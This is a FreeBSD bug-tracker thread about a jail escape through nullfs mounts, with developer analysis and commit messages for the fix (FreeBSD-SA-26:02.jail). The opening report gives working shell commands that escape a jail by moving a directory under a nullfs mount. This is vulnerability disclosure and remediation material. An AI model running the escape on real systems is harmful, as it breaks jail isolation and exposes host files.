Jail could be escaped when run with enforce_statfs<2, allow.mount=true, allow.mount.nullfs=true. prepare jail environment > mkdir /j/1 > tar -c -f - /bin/ lib /libexec /sbin | tar -x -f - -C /j/1 > mkdir /j/1/tmp start a vulnerable jail > jail -c path=/j/1 persist=false allow.mount=true allow.mount.nullfs=true enforce_statfs=1 command=/bin/sh malicious code > mkdir /tmp/a /tmp/a/b/c /tmp/a/b/c/test /tmp/a/d > mount -t nullfs /tmp/a/b/c /tmp/a/d > cd /tmp/a/d/test > mv /tmp/a/b/c/test /tmp/a/b/test > ls -al ../../../../.. > ls -al ../../../../../.. you will see the files outside the jail
> 12.3-RELEASE No longer supported. Can you reproduce symptoms with a supported RELEASE? <https://www.freebsd.org/security/#sup> Thank you.
Where in your sequence of of commands did you attach to the jail? It's the jail that's locking in processes not the nullfs. Outside of the jail you're expected to be able to leave the nullfs with `cd ..`. Or did I miss-understand and the nullfs mount from inside the jail is able to expose a path from beneath the jail under the jail root directory despite the (n)mount performed inside the jail? If this is the case just ignoring it with a the release is EoL is a cheap cop out and we have to define what's the expected semantics for nullfs mounting at different enforce_statfs levels.
(In reply to Graham Perrin from comment #1) > Can you reproduce symptoms with a supported RELEASE? Yes it still works on 14.0-RELEASE.
(In reply to crest from comment #2) > Where in your sequence of of commands did you attach to the jail? "jail" command does this (create+attach).
This can be reproduced on 14.2 as well. (note the need to pass -p for mkdir).
(In reply to Thibault Payet from comment #5) Note that this does not work on ZFS if each jail are in separate datasets. See the result when using a dataset for /j zfs create zroot/j zfs set mountpoint=/j zroot/j mkdir /j/1 mkdir -p /tmp/a /tmp/a/b/c /tmp/a/b/c/test /tmp/a/d mount -t nullfs /tmp/a/b/c /tmp/a/d cd /tmp/a/d/test/ mv /tmp/a/b/c/test /tmp/a/b/test ls -al ../../../../.. Return ls: ..: No such file or directory total 2 drwxr-xr-x 3 0 0 3 Jul 13 11:54 . drwxr-xr-x 7 0 0 7 Jul 13 11:54 1 And ls -al ../../../../../.. Return ls: ../../../../../..: No such file or directory
This is a consequence of the way nullfs handles dotdot lookups. Here, a proc's cwd is a nullfs vnode, and behind the scenes the corresponding lower vnode is moved out of the exported directory. Then, successive dotdot lookups instantiate nullfs vnodes outside of the nullfs mountpoint. These get returned and effectively "cover" the jail's root dir, so the pointer equality check in vfs_lookup() against ni_rootdir doesn't work because it's comparing the returned nullfs vnode with a lower vnode. There is a hack in null_lookup() to handle this kind of situation, and this is enough to prevent the problem if the process root is also a mountpoint. To fix this, I think vfs_lookup() either has to compare ni_topdir/ni_rootdir with "dp" and its aliases, using a VOP implemented by nullfs. Or, we can start passing the ndp to VOP_LOOKUP somehow and modify nullfs to perform this check internally.
(In reply to Mark Johnston from comment #7) I think it is enough to set NOCROSSMOUNT for internal lookups from null_lookup(). There is one more bug also. See https://reviews.freebsd.org/D50390
A commit in branch main references this bug: URL: https://cgit.FreeBSD.org/src/commit/?id=7587f6d4840f8d363e457cddc14c184cf1fe7cc1 commit 7587f6d4840f8d363e457cddc14c184cf1fe7cc1 Author: Mark Johnston <markj@FreeBSD.org> AuthorDate: 2025-05-23 12:52:24 +0000 Commit: Mark Johnston <markj@FreeBSD.org> CommitDate: 2025-05-23 13:03:38 +0000 namei: Make stackable filesystems check harder for jail roots Suppose a process has its cwd pointing to a nullfs directory, where the lower directory is also visible in the jail's filesystem namespace. Suppose that the lower directory vnode is moved out from under the nullfs mount. The nullfs vnode still shadows the lower vnode, and dotdot lookups relative to that directory will instantiate new nullfs vnodes outside of the nullfs mountpoint, effectively shadowing the lower filesystem. This phenomenon can be abused to escape a chroot, since the nullfs vnodes instantiated by these dotdot lookups defeat the root vnode check in vfs_lookup(), which uses vnode pointer equality to test for the process root. Fix this by extending nullfs and unionfs to perform the same check, exploiting the fact that the passed componentname is embedded in a nameidata structure to avoid changing the VOP_LOOKUP interface. That is, add a flag to indicate that containerof can be used to get the full nameidata structure, and perform the root vnode check on the lower vnode when performing a dotdot lookup. PR: 262180 Reviewed by: olce, kib MFC after: 2 weeks Differential Revision: https://reviews.freebsd.org/D50418 share/man/man9/namei.9 | 9 +++++++++ sys/fs/nullfs/null_vnops.c | 28 ++++++++++++++++++---------- sys/fs/unionfs/union_vnops.c | 21 +++++++++++++++++++++ sys/kern/vfs_cache.c | 11 +---------- sys/kern/vfs_lookup.c | 41 ++++++++++++++++++++++++++++++----------- sys/sys/namei.h | 5 ++++- 6 files changed, 83 insertions(+), 32 deletions(-)
A commit in branch main references this bug: URL: https://cgit.FreeBSD.org/src/commit/?id=f35525ff2053e026a423e852136d73ed93c95803 commit f35525ff2053e026a423e852136d73ed93c95803 Author: Mark Johnston <markj@FreeBSD.org> AuthorDate: 2025-06-24 20:17:07 +0000 Commit: Mark Johnston <markj@FreeBSD.org> CommitDate: 2025-06-24 21:04:18 +0000 file: Add a fd flag with O_RESOLVE_BENEATH semantics The O_RESOLVE_BENEATH openat(2) flag restricts name lookups such that they remain under the directory referenced by the dirfd. This commit introduces an implicit version of the flag, FD_RESOLVE_BENEATH, stored in the file descriptor entry. When the flag is set, any lookup relative to that fd automatically has O_RESOLVE_BENEATH semantics. Furthermore, the flag is sticky, meaning that it cannot be cleared, and it is copied by dup() and openat(). File descriptors with FD_RESOLVE_BENEATH set may not be passed to fchdir(2) or fchroot(2). Various fd lookup routines are modified to return fd flags to the caller. This flag will be used to address a case where jails with different root directories and the ability to pass SCM_RIGHTS messages across the jail boundary can transfer directory fds in such as way as to allow a filesystem escape. PR: 262180 Reviewed by: kib MFC after: 3 weeks Differential Revision: https://reviews.freebsd.org/D50371 lib/libsys/fcntl.2 | 63 +++++++++++++++++++---------- sys/fs/fdescfs/fdesc_vnops.c | 4 +- sys/kern/kern_descrip.c | 95 ++++++++++++++++++++++++++++++++------------ sys/kern/uipc_syscalls.c | 2 +- sys/kern/vfs_acl.c | 4 +- sys/kern/vfs_cache.c | 14 +++++-- sys/kern/vfs_extattr.c | 8 ++-- sys/kern/vfs_syscalls.c | 28 +++++++++---- sys/sys/fcntl.h | 2 + sys/sys/file.h | 2 +- sys/sys/filedesc.h | 8 +++- sys/sys/namei.h | 1 + 12 files changed, 162 insertions(+), 69 deletions(-)
A commit in branch stable/14 references this bug: URL: https://cgit.FreeBSD.org/src/commit/?id=3feafab4a34c95209cd4fc3e6224c324efc056f3 commit 3feafab4a34c95209cd4fc3e6224c324efc056f3 Author: Mark Johnston <markj@FreeBSD.org> AuthorDate: 2025-05-23 12:52:24 +0000 Commit: Mark Johnston <markj@FreeBSD.org> CommitDate: 2025-06-30 14:19:30 +0000 namei: Make stackable filesystems check harder for jail roots Suppose a process has its cwd pointing to a nullfs directory, where the lower directory is also visible in the jail's filesystem namespace. Suppose that the lower directory vnode is moved out from under the nullfs mount. The nullfs vnode still shadows the lower vnode, and dotdot lookups relative to that directory will instantiate new nullfs vnodes outside of the nullfs mountpoint, effectively shadowing the lower filesystem. This phenomenon can be abused to escape a chroot, since the nullfs vnodes instantiated by these dotdot lookups defeat the root vnode check in vfs_lookup(), which uses vnode pointer equality to test for the process root. Fix this by extending nullfs and unionfs to perform the same check, exploiting the fact that the passed componentname is embedded in a nameidata structure to avoid changing the VOP_LOOKUP interface. That is, add a flag to indicate that containerof can be used to get the full nameidata structure, and perform the root vnode check on the lower vnode when performing a dotdot lookup. PR: 262180 Reviewed by: olce, kib MFC after: 2 weeks Differential Revision: https://reviews.freebsd.org/D50418 (cherry picked from commit 7587f6d4840f8d363e457cddc14c184cf1fe7cc1) sys/fs/nullfs/null_vnops.c | 28 ++++++++++++++++++---------- sys/fs/unionfs/union_vnops.c | 21 +++++++++++++++++++++ sys/kern/vfs_cache.c | 11 +---------- sys/kern/vfs_lookup.c | 41 ++++++++++++++++++++++++++++++----------- sys/sys/namei.h | 5 ++++- 5 files changed, 74 insertions(+), 32 deletions(-)
A commit in branch stable/14 references this bug: URL: https://cgit.FreeBSD.org/src/commit/?id=10b3f2138573da952b4db29f88f6d67cfc3300cd commit 10b3f2138573da952b4db29f88f6d67cfc3300cd Author: Mark Johnston <markj@FreeBSD.org> AuthorDate: 2025-06-24 20:17:07 +0000 Commit: Mark Johnston <markj@FreeBSD.org> CommitDate: 2025-07-29 12:08:32 +0000 file: Add a fd flag with O_RESOLVE_BENEATH semantics The O_RESOLVE_BENEATH openat(2) flag restricts name lookups such that they remain under the directory referenced by the dirfd. This commit introduces an implicit version of the flag, FD_RESOLVE_BENEATH, stored in the file descriptor entry. When the flag is set, any lookup relative to that fd automatically has O_RESOLVE_BENEATH semantics. Furthermore, the flag is sticky, meaning that it cannot be cleared, and it is copied by dup() and openat(). File descriptors with FD_RESOLVE_BENEATH set may not be passed to fchdir(2) or fchroot(2). Various fd lookup routines are modified to return fd flags to the caller. This flag will be used to address a case where jails with different root directories and the ability to pass SCM_RIGHTS messages across the jail boundary can transfer directory fds in such as way as to allow a filesystem escape. PR: 262180 Reviewed by: kib MFC after: 3 weeks Differential Revision: https://reviews.freebsd.org/D50371 (cherry picked from commit f35525ff2053e026a423e852136d73ed93c95803) lib/libc/sys/fcntl.2 | 63 +++++++++++++++++++---------- sys/fs/fdescfs/fdesc_vnops.c | 4 +- sys/kern/kern_descrip.c | 95 ++++++++++++++++++++++++++++++++------------ sys/kern/uipc_syscalls.c | 2 +- sys/kern/vfs_acl.c | 4 +- sys/kern/vfs_cache.c | 14 +++++-- sys/kern/vfs_extattr.c | 8 ++-- sys/kern/vfs_syscalls.c | 21 +++++++--- sys/sys/fcntl.h | 2 + sys/sys/file.h | 2 +- sys/sys/filedesc.h | 8 +++- sys/sys/namei.h | 1 + 12 files changed, 156 insertions(+), 68 deletions(-)
A commit in branch stable/13 references this bug: URL: https://cgit.FreeBSD.org/src/commit/?id=592de68e328b4edf8acdb2a0b0b66a813747b440 commit 592de68e328b4edf8acdb2a0b0b66a813747b440 Author: Mark Johnston <markj@FreeBSD.org> AuthorDate: 2025-05-23 12:52:24 +0000 Commit: Mark Johnston <markj@FreeBSD.org> CommitDate: 2025-11-19 20:47:50 +0000 namei: Make stackable filesystems check harder for jail roots Suppose a process has its cwd pointing to a nullfs directory, where the lower directory is also visible in the jail's filesystem namespace. Suppose that the lower directory vnode is moved out from under the nullfs mount. The nullfs vnode still shadows the lower vnode, and dotdot lookups relative to that directory will instantiate new nullfs vnodes outside of the nullfs mountpoint, effectively shadowing the lower filesystem. This phenomenon can be abused to escape a chroot, since the nullfs vnodes instantiated by these dotdot lookups defeat the root vnode check in vfs_lookup(), which uses vnode pointer equality to test for the process root. Fix this by extending nullfs and unionfs to perform the same check, exploiting the fact that the passed componentname is embedded in a nameidata structure to avoid changing the VOP_LOOKUP interface. That is, add a flag to indicate that containerof can be used to get the full nameidata structure, and perform the root vnode check on the lower vnode when performing a dotdot lookup. PR: 262180 Reviewed by: olce, kib MFC after: 2 weeks Differential Revision: https://reviews.freebsd.org/D50418 (cherry picked from commit 7587f6d4840f8d363e457cddc14c184cf1fe7cc1) sys/fs/nullfs/null_vnops.c | 28 +++++++++++++++++---------- sys/fs/unionfs/union_vnops.c | 19 ++++++++++++++++++ sys/kern/vfs_cache.c | 11 +---------- sys/kern/vfs_lookup.c | 46 +++++++++++++++++++++++++++++++------------- sys/sys/namei.h | 5 ++++- 5 files changed, 75 insertions(+), 34 deletions(-)
A commit in branch releng/14.3 references this bug: URL: https://cgit.FreeBSD.org/src/commit/?id=193ae464aa365633e6628d2fc5fa425eca961f88 commit 193ae464aa365633e6628d2fc5fa425eca961f88 Author: Mark Johnston <markj@FreeBSD.org> AuthorDate: 2025-05-23 12:52:24 +0000 Commit: Mark Johnston <markj@FreeBSD.org> CommitDate: 2026-01-26 16:49:29 +0000 namei: Make stackable filesystems check harder for jail roots Suppose a process has its cwd pointing to a nullfs directory, where the lower directory is also visible in the jail's filesystem namespace. Suppose that the lower directory vnode is moved out from under the nullfs mount. The nullfs vnode still shadows the lower vnode, and dotdot lookups relative to that directory will instantiate new nullfs vnodes outside of the nullfs mountpoint, effectively shadowing the lower filesystem. This phenomenon can be abused to escape a chroot, since the nullfs vnodes instantiated by these dotdot lookups defeat the root vnode check in vfs_lookup(), which uses vnode pointer equality to test for the process root. Fix this by extending nullfs and unionfs to perform the same check, exploiting the fact that the passed componentname is embedded in a nameidata structure to avoid changing the VOP_LOOKUP interface. That is, add a flag to indicate that containerof can be used to get the full nameidata structure, and perform the root vnode check on the lower vnode when performing a dotdot lookup. Approved by: so Security: FreeBSD-SA-26:02.jail Security: CVE-2025-15547 PR: 262180 Reviewed by: olce, kib MFC after: 2 weeks Differential Revision: https://reviews.freebsd.org/D50418 (cherry picked from commit 7587f6d4840f8d363e457cddc14c184cf1fe7cc1) (cherry picked from commit 3feafab4a34c95209cd4fc3e6224c324efc056f3) sys/fs/nullfs/null_vnops.c | 28 ++++++++++++++++++---------- sys/fs/unionfs/union_vnops.c | 21 +++++++++++++++++++++ sys/kern/vfs_cache.c | 11 +---------- sys/kern/vfs_lookup.c | 41 ++++++++++++++++++++++++++++++----------- sys/sys/namei.h | 5 ++++- 5 files changed, 74 insertions(+), 32 deletions(-)
A commit in branch releng/13.5 references this bug: URL: https://cgit.FreeBSD.org/src/commit/?id=e87a5dd8054a180a74bb47078f937fde8123e883 commit e87a5dd8054a180a74bb47078f937fde8123e883 Author: Mark Johnston <markj@FreeBSD.org> AuthorDate: 2025-05-23 12:52:24 +0000 Commit: Mark Johnston <markj@FreeBSD.org> CommitDate: 2026-01-26 16:45:56 +0000 namei: Make stackable filesystems check harder for jail roots Suppose a process has its cwd pointing to a nullfs directory, where the lower directory is also visible in the jail's filesystem namespace. Suppose that the lower directory vnode is moved out from under the nullfs mount. The nullfs vnode still shadows the lower vnode, and dotdot lookups relative to that directory will instantiate new nullfs vnodes outside of the nullfs mountpoint, effectively shadowing the lower filesystem. This phenomenon can be abused to escape a chroot, since the nullfs vnodes instantiated by these dotdot lookups defeat the root vnode check in vfs_lookup(), which uses vnode pointer equality to test for the process root. Fix this by extending nullfs and unionfs to perform the same check, exploiting the fact that the passed componentname is embedded in a nameidata structure to avoid changing the VOP_LOOKUP interface. That is, add a flag to indicate that containerof can be used to get the full nameidata structure, and perform the root vnode check on the lower vnode when performing a dotdot lookup. Approved by: so Security: FreeBSD-SA-26:02.jail Security: CVE-2025-15547 PR: 262180 Reviewed by: olce, kib MFC after: 2 weeks Differential Revision: https://reviews.freebsd.org/D50418 (cherry picked from commit 7587f6d4840f8d363e457cddc14c184cf1fe7cc1) (cherry picked from commit 592de68e328b4edf8acdb2a0b0b66a813747b440) sys/fs/nullfs/null_vnops.c | 28 +++++++++++++++++---------- sys/fs/unionfs/union_vnops.c | 19 ++++++++++++++++++ sys/kern/vfs_cache.c | 11 +---------- sys/kern/vfs_lookup.c | 46 +++++++++++++++++++++++++++++++------------- sys/sys/namei.h | 5 ++++- 5 files changed, 75 insertions(+), 34 deletions(-)
Mark Johnston: Thanks for fixing this on FreeBSD 13 too.
A commit in branch stable/13 references this bug: URL: https://cgit.FreeBSD.org/src/commit/?id=f7cbcb19a9ecf606172d6d6c472b5ba7130a398b commit f7cbcb19a9ecf606172d6d6c472b5ba7130a398b Author: Mark Johnston <markj@FreeBSD.org> AuthorDate: 2026-02-09 16:47:16 +0000 Commit: Mark Johnston <markj@FreeBSD.org> CommitDate: 2026-02-09 16:54:57 +0000 file: Add a fd flag with O_RESOLVE_BENEATH semantics The O_RESOLVE_BENEATH openat(2) flag restricts name lookups such that they remain under the directory referenced by the dirfd. This commit introduces an implicit version of the flag, FD_RESOLVE_BENEATH, stored in the file descriptor entry. When the flag is set, any lookup relative to that fd automatically has O_RESOLVE_BENEATH semantics. Furthermore, the flag is sticky, meaning that it cannot be cleared, and it is copied by dup() and openat(). File descriptors with FD_RESOLVE_BENEATH set may not be passed to fchdir(2) or fchroot(2). Various fd lookup routines are modified to return fd flags to the caller. This flag will be used to address a case where jails with different root directories and the ability to pass SCM_RIGHTS messages across the jail boundary can transfer directory fds in such as way as to allow a filesystem escape. PR: 262180 Reviewed by: kib MFC after: 3 weeks Differential Revision: https://reviews.freebsd.org/D50371 (cherry picked from commit f35525ff2053e026a423e852136d73ed93c95803) lib/libc/sys/fcntl.2 | 63 +++++++++++++++++++--------- sys/compat/cloudabi/cloudabi_fd.c | 2 +- sys/fs/fdescfs/fdesc_vnops.c | 4 +- sys/kern/kern_descrip.c | 87 ++++++++++++++++++++++++++++----------- sys/kern/uipc_syscalls.c | 2 +- sys/kern/vfs_acl.c | 4 +- sys/kern/vfs_cache.c | 14 +++++-- sys/kern/vfs_extattr.c | 8 ++-- sys/kern/vfs_syscalls.c | 22 +++++++--- sys/sys/fcntl.h | 2 + sys/sys/file.h | 2 +- sys/sys/filedesc.h | 8 +++- sys/sys/namei.h | 1 + 13 files changed, 153 insertions(+), 66 deletions(-)
A commit in branch releng/14.3 references this bug: URL: https://cgit.FreeBSD.org/src/commit/?id=aaa0c2247f4c1466ca90b58650381e318f8be8fc commit aaa0c2247f4c1466ca90b58650381e318f8be8fc Author: Mark Johnston <markj@FreeBSD.org> AuthorDate: 2025-06-24 20:17:07 +0000 Commit: Mark Johnston <markj@FreeBSD.org> CommitDate: 2026-02-23 16:00:13 +0000 file: Add a fd flag with O_RESOLVE_BENEATH semantics The O_RESOLVE_BENEATH openat(2) flag restricts name lookups such that they remain under the directory referenced by the dirfd. This commit introduces an implicit version of the flag, FD_RESOLVE_BENEATH, stored in the file descriptor entry. When the flag is set, any lookup relative to that fd automatically has O_RESOLVE_BENEATH semantics. Furthermore, the flag is sticky, meaning that it cannot be cleared, and it is copied by dup() and openat(). File descriptors with FD_RESOLVE_BENEATH set may not be passed to fchdir(2) or fchroot(2). Various fd lookup routines are modified to return fd flags to the caller. This flag will be used to address a case where jails with different root directories and the ability to pass SCM_RIGHTS messages across the jail boundary can transfer directory fds in such as way as to allow a filesystem escape. Approved by: so PR: 262180 Reviewed by: kib MFC after: 3 weeks Differential Revision: https://reviews.freebsd.org/D50371 (cherry picked from commit f35525ff2053e026a423e852136d73ed93c95803) (cherry picked from commit 10b3f2138573da952b4db29f88f6d67cfc3300cd) sys/fs/fdescfs/fdesc_vnops.c | 4 +- sys/kern/kern_descrip.c | 97 ++++++++++++++++++++++++++++++++------------ sys/kern/uipc_syscalls.c | 2 +- sys/kern/vfs_acl.c | 4 +- sys/kern/vfs_cache.c | 14 +++++-- sys/kern/vfs_extattr.c | 8 ++-- sys/kern/vfs_syscalls.c | 21 +++++++--- sys/sys/file.h | 2 +- sys/sys/filedesc.h | 8 +++- sys/sys/namei.h | 1 + 10 files changed, 113 insertions(+), 48 deletions(-)
A commit in branch releng/13.5 references this bug: URL: https://cgit.FreeBSD.org/src/commit/?id=82cee749b5230ac906a30ad6bf5a0bababbe00e9 commit 82cee749b5230ac906a30ad6bf5a0bababbe00e9 Author: Mark Johnston <markj@FreeBSD.org> AuthorDate: 2026-02-09 16:47:16 +0000 Commit: Mark Johnston <markj@FreeBSD.org> CommitDate: 2026-02-23 01:48:38 +0000 file: Add a fd flag with O_RESOLVE_BENEATH semantics The O_RESOLVE_BENEATH openat(2) flag restricts name lookups such that they remain under the directory referenced by the dirfd. This commit introduces an implicit version of the flag, FD_RESOLVE_BENEATH, stored in the file descriptor entry. When the flag is set, any lookup relative to that fd automatically has O_RESOLVE_BENEATH semantics. Furthermore, the flag is sticky, meaning that it cannot be cleared, and it is copied by dup() and openat(). File descriptors with FD_RESOLVE_BENEATH set may not be passed to fchdir(2) or fchroot(2). Various fd lookup routines are modified to return fd flags to the caller. This flag will be used to address a case where jails with different root directories and the ability to pass SCM_RIGHTS messages across the jail boundary can transfer directory fds in such as way as to allow a filesystem escape. Approved by: so PR: 262180 Reviewed by: kib MFC after: 3 weeks Differential Revision: https://reviews.freebsd.org/D50371 (cherry picked from commit f35525ff2053e026a423e852136d73ed93c95803) (cherry picked from commit f7cbcb19a9ecf606172d6d6c472b5ba7130a398b) sys/compat/cloudabi/cloudabi_fd.c | 2 +- sys/fs/fdescfs/fdesc_vnops.c | 4 +- sys/kern/kern_descrip.c | 89 +++++++++++++++++++++++++++++---------- sys/kern/uipc_syscalls.c | 2 +- sys/kern/vfs_acl.c | 4 +- sys/kern/vfs_cache.c | 14 ++++-- sys/kern/vfs_extattr.c | 8 ++-- sys/kern/vfs_syscalls.c | 22 +++++++--- sys/sys/file.h | 2 +- sys/sys/filedesc.h | 8 +++- sys/sys/namei.h | 1 + 11 files changed, 110 insertions(+), 46 deletions(-)